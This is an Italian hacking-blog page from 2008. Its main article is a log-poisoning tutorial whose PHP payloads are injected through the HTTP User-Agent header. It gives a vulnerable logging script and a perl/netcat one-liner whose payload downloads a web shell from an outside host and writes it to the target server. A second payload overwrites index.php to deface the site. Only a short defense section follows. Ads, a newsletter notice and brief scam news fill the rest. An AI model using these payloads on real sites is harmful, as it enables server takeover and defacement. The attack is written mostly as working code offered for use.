Articoli dell'anno 2008
Log Poisoning
1Log poisoning
Il log poisoning è una vulnerabilità relativamente poco conosciuta, ma che può portare a risultati disastrosi se sfruttata da un attaccante. Il concetto alla base è molto semplice: molti siti loggano le visite degli utenti su log che sono file PHP. Le informazioni loggate, di norma, sono IP del visitatore, pagina visitata e user agent. Di queste tre informazioni l’IP del visitatore e il REQUEST_URI difficilmente possono essere modificati, ma lo user agent può essere modificato tranquillamente inviando pacchetti HTTP from scratch o anche usando plugin per il proprio browser in grado di modificarlo arbitrariamente, come Modify Headers per Firefox.
Poniamoci ora il problema: molti log sono in formato PHP. E se io impostassi come user agent string del codice PHP valido…?
Lo scenario dell’attacco
Immaginiamo di avere un sito che logga le visite degli utenti tramite il seguente script:
$ip=$_SERVER['REMOTE_ADDR'];
$uri=$_SERVER['REQUEST_URI'];
$agent=$_SERVER['HTTP_USER_AGENT'];
$fp=fopen(‘access.php’,'a’);
fputs ($fp,”$ip, $agent: $uri”);
fclose($fp);
print “$ip: sei stato loggato\n”;
?>
[modifica]Shell injection
Tutti gli accessi vengono loggati sul file access.php, e questo file è anche visibile, volendo, da chiunque. Inviamo un pacchetto HTTP così costruito:
perl -e ‘print “GET /page.php HTTP/1.1\nHost:
Connection: close\nUser-agent: <\?php
\$content\=file\(\”http://blacklight.altervista.org/MYSHELL.txt\”\);
\$fp\=fopen\(\”./shell.php\”,\”w\”\); foreach \(\$content as \$line\)
fwrite\(\$fp,\”\$line\\n\”\); fclose\(\$fp\); \?>\n\n”;’
| nc
Quello che facciamo è semplice: inviamo un pacchetto HTTP che richieda la pagina in questione, impostando come user agent un codice PHP che prende il contenuto di una shell PHP e lo salva sul sito. Ora possiamo andare a visualizzare la pagina access.php, o attendere che sia l’admin stesso a visualizzarla. La conseguenza è semplice: il codice che abbiamo iniettato verrà eseguito, e ci regalerà una bella shell sul server.
[modifica]Deface
E’ perfino possibile defacciare indirettamente un sito tramite questa tecnica. Impostiamo uno user agent come questo, o inviandolo direttamente all’host tramite richiesta HTTP diretta, o impostandolo come nostro user agent nel nostro browser:
function foo ($path,$file) { $content=file("{$path}/{$file}");
$fp=fopen(“{$path}/{$file}.old”,”w”); foreach ($content as $line)
fputs ($fp,”{$line}\n”); fclose($fp); $fp=fopen(“{$path}/{$file}”,”w”);
fputs ($fp,”Owned by BlackLight”); fclose($fp); } foo(“.”,”index.php”);
foo(“..”,”index.php”); ?>
Quello che fa è semplice: salva la index.php nella directory attuale e in quella superiore su un file di backup (giusto per essere buoni), quindi la apre in modalità di scrittura, cancellando tutto il suo contenuto. Ora possiamo andare a richiamare via browser il file di log, o attendere che sia l’admin stesso ad andare a visualizzarlo. In quell’istante, il codice che abbiamo iniettato verrà eseguito, e i contenuti dell’home page del sito verranno rimossi.
[modifica]Difesa
Quella del log injection è una vulnerabilità poco conosciuta e ingiustamente sottovalutata, ma che può compromettere, come abbiamo appena visto, la sicurezza di un intero sito, portando all’iniezione di una shell sul sito o addirittura al deface. La miglior strategia di difesa è sì quella di salvare i log in un file PHP, ma aggiungendo in testa al file una riga del genere:
die(); ?>
In questo modo avremo raggiunto due obiettivi:
Tutto l’eventuale codice PHP iniettato di seguito non verrà mai eseguito, dato che l’interprete esce appena vede il die();
I log non saranno visualizzabili da nessun utente comune via browser, dato che appena l’utente richiederà via browser il log l’interprete PHP ritornerà una pagina bianca. Il log sarà invece visualizzabile solo dall’admin via FTP o SSH.
BlackLight
Lotteria gratuita KingLotto – 2.500 euro in palio!
4- Solo per i residenti in Italia
la 1ª lotteria a premi 100% gratuita | Regolamento | Powered by Mediastay
Leggi le opinioni dei giocatori !
Kingolotto è la 1ª lotteria a premi 100% gratuita in Italia con estrazione quotidiana!
Kingolotto, con più di 4 milioni di iscritti, è la lotteria on line leader in Francia dopo la lotteria nazionale (a pagamento).
Sei un appassionato di lotto? Giochi spesso alla lotteria? Hai voglia di tentare la fortuna e vincere tanti favolosi premi grazie ad un gioco on line completamente gratuito?
Allora non perdere tempo e gioca subito su Kingolotto, la 1ª lotteria a premi on line 100% gratuita in Italia con estrazione giornaliera. Vincere non è mai stato così facile!
L’iscrizione a Kingolotto è gratuita e per giocare e vincere non è necessario alcun atto di acquisto. Ogni giorno avrai a disposizione 10 schedine di gioco. Seleziona 6 numeri fortunati e partecipa all’estrazione quotidiana. Potrai vincere tanti favolosi premi tra cui un Pack hi-tech, un favoloso viaggio o la macchina dei tuoi sogni e tanti altri fantastici premi!
Anche se non sarai uno dei fortunati vincitori, partecipando al gioco concorso gratuito Kingolotto, potrai vincere tantissimi punti immediatamente convertibili in premi.
Inoltre Kingolotto arricchisce periodicamente il suo montepremi grazie a numerose operazioni speciali che vedranno in palio premi straordinari come lettori MP3, penne USB, webcam, buoni regalo e tanti altri premi. Gioca le tue schedine e moltiplica le tue possibilità di vincita nelle estrazioni speciali 24 ore: il vincitore verrà sorteggiato tra tutti i partecipanti al concorso del giorno!
Potrai ricevere i risultati delle estrazioni con le vincite del giorno direttamente sulla tua casella di posta elettronica o consultare l’elenco dei vincitori direttamente sul sito Kingolotto.
Speed Downloading!
0Sei stufo del fatto che il tuo computer si rallenti mentre scarichi i tuoi file preferiti?
La soluzione è Speed Downloading!… Compatibile con BitTorrent, Emule e RapidShare!
Speed-Downloading dà una spinta al tuo computer e mette tutto nelle tue mani. Puoi regolare la velocità, mettere in pausa il download dei file e caricare tutti i tuoi clip preferiti per condividerli con gli altri, velocizzando così Upload e Download.
Requisiti:Windows 2000/XP/2003 Server/Vista
Peso:5.62 MB
Disponibile in 30 lingue diverse!
Completamente gratis!
Metti il turbo ai tuoi download!
Scaricatelo e provatelo, ne rimarrete soddisfatti!
Newsletter HackersTribe.
0Si annuncia l’apertura ufficiale della newsletter hackerstribe, che potete raggiungere tramite la directory /newsletter/ l’url completo: http://www.hackerstribe.com/newsletter/ In modo totalmente gratuito puoi restare sempre aggiornato sulle news del portale, concerni il mondo informatico, hacking, nuovi prodotti, marketing online, news generali e tanto altro…
- A fine pubblicitario, è aperta anche la possibilità di affittare completamente la newsletter con tutti i suoi relativi registrati, per una cifra mensile pari a: 12,00 €
- Per chi non sa, cosa sia una Newsletter può consultare questa pagina!
Google sfruttato su Facebook per diffondere Trojan!
0
Succede da qualche mese, ma la notizia è stata diffusa solo adesso. I cyber-criminali possono usare diverse strategie per combinare più servizi di Internet allo scopo di far credere alle vittime di navigare su un sito affidabile, che in realtà è invece l’inizio di un’infezione pericolosa.
Tutto parte da Facebook. L’utente registrato al social network riceve un messaggio privato da parte di un amico, che lo invita a cliccare su un link per vedere un video che lo interessa. La vittima, non rendendosi conto di aver ricevuto un falso messaggio, non ha dubbi sulla veridicità del link, ma anche se li avesse (e qui sta la novità) si renderebbe conto di stare per cliccare su un link del servizio Shared Items di Google.
In pratica, viene sfruttato il portale di Google che permette di condividere con gli amici e i conoscenti notizie e informazioni di cui si è a conoscenza per dare l’impressione di stare per visitare un link sicuro, in cui si troverà il video.
In questo modo, la vittima non ha più titubanze e visiterà il sito pensando che è tutto sicuro.
A quanto pare, i criminali hanno registrato diversi account anche sul servizio di Google per rendere la truffa ancora meno evidente. Il video in questione ovviamente non è reale, ma richiede il download di un particolare codec, necessario per la riproduzione del contenuto. Il codec naturalmente non esiste; si tratta in realtà di un trojan pericoloso.
Cosa è il Phishing?
3Più volte abbiamo parlato di phishing sul nostro blog: migliaia di mail truffa viaggiano in Rete ogni giorno con moltissime potenziali vittime.
Ma abbiamo visto anche casi di phishing via MSN Messenger e come alcuni attacchi possano partire da Google Calendar o infine i classici attacchi rivolti ai clienti della banche.
Nel video che trovate in questo post viene spiegato con grande semplicità cosa è il phishing. Una visione consigliata per tutti, peccato sia disponibile solo in lingua inglese.

Commenti